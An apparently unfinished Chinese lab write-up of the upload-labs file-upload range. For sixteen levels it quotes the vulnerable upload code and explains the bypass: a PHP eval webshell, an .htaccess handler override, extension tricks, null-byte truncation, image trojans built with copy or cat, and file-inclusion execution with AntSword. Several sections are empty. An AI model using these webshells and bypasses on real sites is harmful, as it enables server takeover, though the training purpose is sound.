upload-labs文件上传漏洞靶场练习 【未完！】
任意文件上传靶场upload-labs下载地址
文章目录
-
-
- Pass-01- 前端JS校验绕过
- Pass-02- 文件类型MIME类型绕过
- Pass-03- 文件名后缀黑名单绕过
- Pass-04- .htaccess绕过
- Pass-05- 文件名后缀大写绕过
- Pass-06- 文件名后缀加空格绕过
- Pass-07- 文件名后缀加点绕过
- Pass-08-文件名后缀 ::$DATA绕过
- Pass-09-文件名后缀拼接绕过
- Pass-10-文件名后缀双写绕过
- Pass-11- GET型00截断
- Pass-12- POST型00截断
- Pass-13- 文件内容头部绕过
- Pass-14- getimagesize()检查绕过
- Pass-15- exif_imagetype()检测绕过
- Pass-16- 二次渲染绕过
- 未完。。。。。。。。。。。。。。。。。。。。。。。。。。。
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Pass-01- 前端JS校验绕过
尝试上传一句话木马
@eval($_REQUEST[6868])?>
代码审计：
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
做了白名单策略，只允许.jpg|.png|.gif后缀的文件
绕过方式：
前端校验一文不值，删除js校验代码onsubmit="return checkFile()
Pass-02- 文件类型MIME类型绕过
代码审计：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '文件类型不正确，请重新上传！';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
}
}
绕过方式：
文件类型绕过
修改Content-Type值
Pass-03- 文件名后缀黑名单绕过
代码审计：
做了黑名单策略
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
绕过方式：
Pass-04- .htaccess绕过
代码审计：
做了黑名单策略
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
绕过方式：
上传.htaccess文件，内容如下
Sethandler application/x-httpd-php
.htaccess会改变uploads这个目录下的文件解析规则, 调用php的解析器去解析一个文件名只需包含
“jpg”字符串的任意文件简单来说, 若一个文件的文件名为
1.jpg, 其内容是phpinfo(), 那么apache就会调用php解析器去解析此文件
再上传2.jpg, 文件内容如下:
phpinfo();?>
查看上传路径http://192.168.80.139/upload/2.jpg
访问到图片里的php代码
Pass-05- 文件名后缀大写绕过
代码审计：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
相比上一关来说，把.htacces也进入了黑名单
还没有做大小写转换
绕过方式：
我们可以把上传的木马文件后缀名改为大写
1.php改成1.PHP
上传文件，查看文件路径
在地址栏中访问http://192.168.80.139/upload/202308301506064212.PHP
没有报错说明上传成功
这个时候可以使用蚁剑来连接
进入目录管理
Pass-06- 文件名后缀加空格绕过
代码审计：
代码中少了 trim($file_ext)：该函数是将字符串首位的空格去除
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
绕过方式：
Pass-07- 文件名后缀加点绕过
代码审计：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
少了deldot函数
$file_name = deldot($file_name);//删除文件名末尾的点
绕过方式：
在文件后缀后面加个.
Pass-08-文件名后缀 ::$DATA绕过
代码审计：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
在window的时候如果文件名+
"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持::$DATA之前的文件名，他的目的就是不检查后缀名
漏洞绕过：
在上传文件名后面加上 ::$DATA，这样就不会 检测我们上传的文件后缀是什么了
Pass-09-文件名后缀拼接绕过
代码审计：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
代码先是去除文件名前后的空格，再去除文件名末尾的.，再通过strrchar函数来寻找.来确认文件名的后缀，但是最后保存文件的时候没有重命名而使用的原始的文件名，导致可以利用1.php. .(点+空格+点)来绕过
绕过方式：
上传1.php文件，bp抓包修改文件名后缀1.php. .
使用. .绕过，首先删除一个点，再首尾去空，该文件还是会以.结尾
Pass-10-文件名后缀双写绕过
代码审计：
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
将文件名进行过滤操作后，将文件名拼接在路径后面，所以需要绕 过前面的首尾去空以及去点
绕过方式：
修改上传的文件后缀为：1.pphphp
Pass-11- GET型00截断
00截断原理：
0x00是十六进制表示方法，是ascii码为0的字符，在有些函数处理时，会把这个字符当做结束符。
系统在对文件名的读取时，如果遇到0x00,就会认为读取已结束。
可以通过00截断，绕过对应的白名单验证
1.php0x00.jpg
代码审计：
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
白名单过滤，只允许('jpg','png','gif')后缀的文件
GET型提交的内容会被 自动进行URL解码
绕过方式：
上传2.jpg里面内容是
图片上传成功，右键复制图像 链接
发现地址中有乱码
去掉2.php后面 的参数，访问到php探针
Pass-12- POST型00截断
代码审计：
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
同样的白名单策略，与上一关不同的是，这次换成了$_POST
在POST请求中，%00不会被自动解码，需要在16进制中修改为00
绕过方式：
修改完成后点击Forward放包，上传成功！
复制图像链接
http://127.0.0.1/upload/2.php%EF%BF%BD/7520230830195703.jpg
去掉后面多余的参数
http://127.0.0.1/upload/2.php
Pass-13- 文件内容头部绕过
代码审计：
绕过方式：
shell.php内容
@eval($_REQUEST[6868])?>
图片木马制作：
windows:
copy 1.jpg /b + 1.php /a 2.jpg
Linux:
cat 1.jpg shell.php > shell.jpg
图片上传成功
查看上传路径
图片的上传路径/upload/6720230830201732.jpg
结合文件包含漏洞执行图片木马
http://127.0.0.1/include.php?file=./upload/6720230830201732.jpg
蚁剑连接
Pass-14- getimagesize()检查绕过
代码审计：
getimagesize()函数对文件内容头部做检查
绕过方式：
1、图片木马
2、上传php木马，修改文件内容
图片上传路径upload/1820230830203805.gif
要想触发木马，需要结合文件包含 来实现
http://127.0.0.1/include.php?file=./upload/1820230830203805.gif
蚁剑连接
Pass-15- exif_imagetype()检测绕过
代码审计：
exif_imagetype — 判断一个图像的类型是否为图片文件
绕过方式：
生成图片木马绕过函数检测，利用文件包含漏洞连接webshell
Pass-16- 二次渲染绕过
该php代码中允许上传图片，但会对图片进行二次渲染，因此我们需要绕过二次渲染的部分，也就是在在二次渲染不会改变的部分加入我们需要的php木马的代码
满足move_uploaded_file就可以上传成功!!!
绕过方式：
地址详解